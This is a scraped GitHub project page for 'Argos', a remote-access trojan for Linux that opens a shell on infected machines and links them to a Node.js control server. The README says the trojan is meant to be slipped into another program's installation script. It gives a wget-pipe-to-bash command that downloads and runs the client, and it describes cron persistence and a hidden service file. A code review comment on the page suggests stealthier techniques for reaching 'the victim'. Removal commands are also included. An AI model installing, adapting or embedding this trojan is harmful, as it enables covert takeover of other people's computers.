Can see everything, beware of its omniscience, kneel before its greatness.

Overview


Can see everything, beware of its omniscience, kneel before its greatness.

Summary

Presentation

Main goal

This program work on Linux distrubtion.

The main goal of this project is to show how frighteningly easy it is to create a program that can access to another machine. This project is a trojan that, when used in an installation script, can easily be installed and gain access to the whole system.

How it works

There is 2 main parts to this project:

  • The online server
  • The client

Client side

Get to the client part

cd client/

The client side program is made using python3 and can easily be called in the installation script of another program by using a simple curl command.

The client side is using socket io to connect with the server through web sockets. In case the server is not running, the program will try every 3 seconds to connect to the server until it's connected.

Once connected, the client script is waiting for instructions from the server. The instruction it can get are mostly commands. In order to run the commands, it's using a child process that is running a shell, writing in it's stdin using the file descriptor obtained through the pty.spawn command.

Once the child process is done running a command, it send a ALRM signal to its ppid so we can get the output of the command.

Server side

Get to the server part:

cd online_server

Front:

cd frontend

Backend:

cd server

The server is made in Node js. The backend is composed of 2 server :

The express JS server is meant to received the requests from the frontend server. Here are the routes of that server.

Route Protected using JWT
/login NO
/services/:id YES
/services/:id/shell YES

The socket server accept sockets and stock them in a global variable so the connexion can be used later on. The sockets are listenning to events and so we are using that so in case of deconnexion with a client, the client will automaticly be remove from the list.

The /shell endpoint use the socket io server sending a command to the client and waiting for a response to send back the information to the frontend.

FrontEnd endpoints:

Endpoint Protected
/login NO
/clients YES
/services/:id YES
/services/:id/shell YES

Installation

In order to use the project, you need to have a script that people will run.

In this very script, you juste have to call this command (remember to replace the 'Adress of the online server' by your server adress) :

wget -q -O - https://raw.githubusercontent.com/Just1truc/Argos/main/client/install_argos > here && chmod 777 here && bash here "Adress of the online server" && rm here

Once this command has been run, everthing should be ready for the client.

Also, to setup the server, it's kinda more complicated. You have to host both the front and the backend.

Removing

This trojan is pretty annoying right? So let's remove it from your computer !

Automatically

crontab -r && kill $(ps -aux | grep /usr/local/src/.service.exwrap.py | grep -v "grep" | awk '{print $2}')

Manually

To do so, you just need to first execute this command to get rid of the cronjob :

crontab -r

Then, you need to cut the access to your computer, so let's kill the script doing that: if you don't have htop, you may have to install it.

htop -F python

Tip: The trojan file is .service.exwrap.py

Then, keep the pid of the command that is using python3 to run and kill it:

kill [pid]

Credits:


Justin Duc

Client side and Backend

 

Baptiste Leroyer

Frontend Developper

 

Léo Dubosclard

DevOps Developper

 

Joshua Brionne

Frontend Developper

 

Paul Laban

Frontend Developper

 

Mathias André

Stability responsible

 


⚠️ Do not use for illegal purposes

THIS PROJECT IS IN PROGRESS. It's FUNCTIONNAL but it's not as securised as it should be

You might also like...

A cool tool that saves you time if you want to remove node_modules before running 'npm i'

rmnpm A cool tool that saves you time if you want to remove your node_modules folder before running the npm install command. How does it do it? By fir

Jul 16, 2022

Change import URLs in JavaScript code using import maps. e.g. `import * from "before"` to `import * from "after"`

esm-import-transformer Can transform any ESM source code import URLs using an import maps object. This package works in ES modules or in CJS. // Befor

Jul 31, 2022

A lightweight JavaScript library that renders text in a brilliant style by displaying strings of random characters before the actual text.

A lightweight JavaScript library that renders text in a brilliant style by displaying strings of random characters before the actual text.

cryptoWriter.js A lightweight javascript library which creates brilliant text animation by rendering strings of random characters before the actual te

Sep 13, 2022

jQuery UI widget for structured queries like "Contacts where Firstname starts with A and Birthday before 1/1/2000 and State in (CA, NY, FL)"...

jQuery UI widget for structured queries like

Structured-Filter · Structured-Filter is a generic Web UI for building structured search or filter queries. With it you can build structured search co

Jan 6, 2023

This is just a script I put together to check and notify me via email (MailGun) when there's an earlier date before my initial appointment date. It doesn't handle rescheduling.

This is just a script I put together to check and notify me via email (MailGun) when there's an earlier date before my initial appointment date. It doesn't handle rescheduling.

US-visa-appointment-notifier This is just a script I put together to check and notify me via email (MailGun) when there's an earlier date before my in

Jan 4, 2023

Angular JWT refresh token with Interceptor, handle token expiration in Angular 14 - Refresh token before expiration example

Angular JWT refresh token with Interceptor, handle token expiration in Angular 14 - Refresh token before expiration example

Angular 14 JWT Refresh Token example with Http Interceptor Implementing Angular 14 Refresh Token before Expiration with Http Interceptor and JWT. You

Nov 30, 2022

PAC-MAN Leaderboard includes the Leaderboard API. You can add your name and score, and see other player's scores.

PAC-MAN Leaderboard includes the Leaderboard API. You can add your name and score, and see other player's scores.

Oct 26, 2022

A simple react project that contain a single page application (SPA) And a simple caculator to make some calculation and there is a section you can see some Math quotes. Ⓜ💯

A simple react project that contain a single page application (SPA) And a simple caculator to make some calculation and there is a section you can see some Math quotes. Ⓜ💯

May 31, 2022

A project that let's you see a list of scores using an API, you can add ypur own and it will be saved on the list forever

Leaderboard This is a project that let's you see a list of scores using an API, you can add ypur own and it will be saved on the list forever! Built W

Mar 4, 2022
Comments
  • Code review

    Code review

    install_argos

    -> What if the victim is neither french nor english ? You might get away with something like this

    #!/bin/sh
    
    su -c "something" 
    

    and then store the output

    -> Instead of storing in a file, use variables or file descriptors. That way, it lives in live memory, which is better

    -> Using a crontab to execute your service is clever but there is a cleaner syntax for this as well

    -> you can use shellcheck to check if the syntax is safe to use

    connexion.py

    -> Don't use os.system, as you cannot do anything if the command fails. Instead use popen -> Don't use files to manipulate buffers, you can just use standard redirections for this ! -> use classes, and move your "main" code to the bottom of the file, impossible to understand what is going on -> wtf is this -> ??? https://github.com/Just1truc/Argos/blob/main/client/connexion.py#L64 dont understand what you're trying to do here

    opened by bogdzn 0
Releases(1.8.4)
  • 1.8.4(Jul 24, 2022)

    The first version of Argos is comming to an end.

    The product is making a turn in the right direction, willing to become a remote control architecture. In the futur 2.0 version, the programm will include installers and a fully functionnal windows version.

    Source code(tar.gz)
    Source code(zip)
Owner
Duc Justin
I'm a first year IT student at Epitech
Duc Justin
The awesomebooks project is a simple list, but separated into 3 parts and given a retro feel. The main page is where we can add books, and on another page we can see the list, and remove items. There is also a "contact-us" page.

Awesome Books This is the restructured version of the famous awesome-books project! Here you can find JavaScript broken into modules, using import-exp

Matt Gombos 12 Nov 15, 2022
Vision is a complete project manager where you can colaborate with your team. Everything is still in development phase.

This is a Next.js project bootstrapped with create-next-app. Getting Started First, run the development server: npm run dev # or yarn dev Open http://

Nikko Abucejo 4 Jun 4, 2022
A Virtual Interactive Keyboard which replicates every key you press and a Text-Area in which everything is written and can be copied to the clipboard with a click of a button.

A Virtual Interactive Keyboard which replicates every key you press and a Text-Area in which everything is written and can be copied to the clipboard with a click of a button.

Devang Joshi 1 Mar 1, 2021
It's a repository to studies. Its idea is to learn about Nx and its plugins.

StudyingNx This project was generated using Nx. ?? Smart, Fast and Extensible Build System Adding capabilities to your workspace Nx supports many plug

Open-ish 4 May 13, 2022
A community-centric site like you've never seen before.

Kleptonix A community-centric site like you've never seen before. Overview This section will be updated when basic posting and account creation functi

Luis Bauza 1 Apr 19, 2022
Useful userscript, allowing you to steal NFTs from Twitter even easier than before!

Adds missing feature that even Twitter Blue doesn't have: click on hexagonal avatar to open it in a new tab and save yourself a couple of clicks while stealing it!

Andrey Viktorov 4 Jan 21, 2022
A remote nodejs Cache Server, for you to have your perfect MAP Cache Saved and useable remotely. Easy Server and Client Creations, fast, stores the Cache before stopping and restores it again!

remote-map-cache A remote nodejs Cache Server, for you to have your perfect MAP Cache Saved and useable remotely. Easy Server and Client Creations, fa

Tomato6966 8 Oct 31, 2022
Application for self-testing before exams covering some of the subject taught at the Prague University of Economics and Business

Getting Started with Create React App This project was bootstrapped with Create React App. Available Scripts In the project directory, you can run: ya

Jiří Vrba 2 Jun 13, 2022